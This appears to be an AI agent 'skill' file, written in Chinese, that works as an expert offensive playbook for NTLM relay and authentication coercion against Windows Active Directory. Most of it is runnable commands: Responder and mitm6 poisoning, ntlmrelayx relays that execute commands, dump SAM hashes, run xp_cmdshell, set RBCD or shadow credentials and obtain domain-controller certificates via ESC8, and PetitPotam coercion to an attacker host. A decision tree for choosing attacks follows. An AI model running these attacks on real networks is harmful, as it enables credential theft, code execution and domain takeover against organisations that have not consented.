ntlm-relay-coercion

技能：NTLM 中继与身份验证强制 — 专家攻击手册

AI 加载指令：专家级 NTLM 中继与强制技术。涵盖中继至 SMB/LDAP/HTTP/MSSQL、签名要求、Responder 投毒、mitm6、跨协议中继、WebDAV 强制，以及所有主要强制方法。基础模型容易忽略签名/EPA 要求和跨协议中继限制。

0. 相关路由

深入分析前，可考虑加载：

• active-directory-certificate-services，了解 ESC8（中继至 ADCS 注册）
• active-directory-acl-abuse，了解通过 LDAP 中继修改 ACL（RBCD、影子凭据）
• active-directory-kerberos-attacks，了解中继成功后的 Kerberos 攻击
• windows-lateral-movement，了解中继后的横向移动

高级参考

需要以下内容时，也请加载 COERCION_METHODS.md：

• 详细比较强制方法（PetitPotam、PrinterBug、DFSCoerce 等）
• RPC 函数级别的细节和前提条件
• Coercer 工具的使用与发现

---

1. NTLM 中继基础

Victim          Attacker (relay)         Target
  │                 │                      │
  │── NTLM Auth ──→│                      │  (1) Victim authenticates (coerced/poisoned)
  │                 │── Forward Auth ─────→│  (2) Attacker relays to target
  │                 │←─ Challenge ──────── │  (3) Target sends challenge
  │←─ Challenge ────│                      │  (4) Attacker forwards challenge to victim
  │── Response ────→│                      │  (5) Victim computes response
  │                 │── Forward Response ─→│  (6) Attacker relays response to target
  │                 │←─ Authenticated! ────│  (7) Target accepts → attacker has session

NTLMv1 与 NTLMv2

特性	NTLMv1	NTLMv2
安全性	较弱（可破解为 NTLM 哈希）	较强（但仍可中继）
中继	可以	可以
破解为哈希	可以（彩虹表、crack.sh）	仅限离线暴力破解
降级	通过 Responder --lm 强制降级	现代 Windows 中的默认值

---

2. 中继目标矩阵

目标协议	可获得的能力	默认是否要求签名？	EPA/通道绑定？
SMB	命令执行（需管理员权限）、文件访问	DC：是，工作站：否	否
LDAP	修改 ACL、RBCD、影子凭据、添加计算机	DC：否（协商决定）	否（除非已配置）
LDAPS	与 LDAP 相同，但已加密	不适用	是（通道绑定）
HTTP（ADCS）	证书注册（ESC8）	否	视配置而定
MSSQL	SQL 查询、xp_cmdshell	否	否
IMAP/SMTP	电子邮件访问	否	否
RPC	多种能力（ESC11 的 CA 注册）	视情况而定	否

签名检查

# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing

# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE

---

3. RESPONDER — 凭据捕获

LLMNR/NBT-NS/WPAD/mDNS 投毒

# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP

# Analyze mode (passive, no poisoning)
responder -I eth0 -A

# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137)  — NetBIOS Name Service
# WPAD              — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353)   — Multicast DNS

Responder + 中继（不捕获，直接中继）

# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off

# Start Responder for poisoning only
responder -I eth0 -dwP

# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support

---

4. NTLMRELAYX — 执行中继

中继至 SMB（管理员执行）

# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user

中继至 LDAP（修改 ACL）

# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support

# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support

# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain

中继至 ADCS HTTP（ESC8）

ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Use with coercion to relay DC auth → get DC certificate

中继至 MSSQL

ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"

---

5. MITM6 — IPv6 DNS 接管

# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com

# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support

# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer

---

6. 跨协议中继

SMB → LDAP

捕获 SMB 身份验证，并中继至 LDAP（要求未强制启用 LDAP 签名）。

# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support

# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP

限制：如果源端使用的 SMB 签名协商会表明正在进行中继，则 SMB → LDAP 中继会失败。

WebDAV → LDAP

工作站通过 WebDAV 使用 HTTP 发送 NTLM → 中继至 LDAP（不存在签名问题）。

# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP

---

7. 基于 WebDAV 的强制

WebClient 服务（WebDAV）会将 SMB 类型的强制转换为基于 HTTP 的 NTLM。

# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav

# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share

主要优势：基于 HTTP 的 NTLM 不受 SMB 签名要求的影响。

---

8. NTLM 中继决策树

Want to relay NTLM authentication
│
├── What auth can you capture?
│   ├── Responder poisoning (passive, wait for queries)
│   ├── mitm6 (DHCPv6 DNS takeover, periodic)
│   └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│   │
│   ├── Need code execution?
│   │   ├── SMB target without signing → ntlmrelayx to SMB (§4)
│   │   └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│   │
│   ├── Need domain escalation?
│   │   ├── LDAP signing not enforced?
│   │   │   ├── Relay to LDAP → RBCD (§4)
│   │   │   ├── Relay to LDAP → shadow credentials (§4)
│   │   │   └── Relay to LDAP → add computer + delegate (§4)
│   │   └── LDAP signing enforced?
│   │       └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│   │
│   └── Need certificate?
│       └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│   ├── Target is SMB → check signing (§2)
│   ├── Target is LDAP → may work (cross-protocol, §6)
│   └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│   └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
    ├── Check signing requirements (§2)
    ├── Check EPA/channel binding
    ├── Try cross-protocol (SMB → LDAP)
    └── Try WebDAV coercion (avoids SMB signing)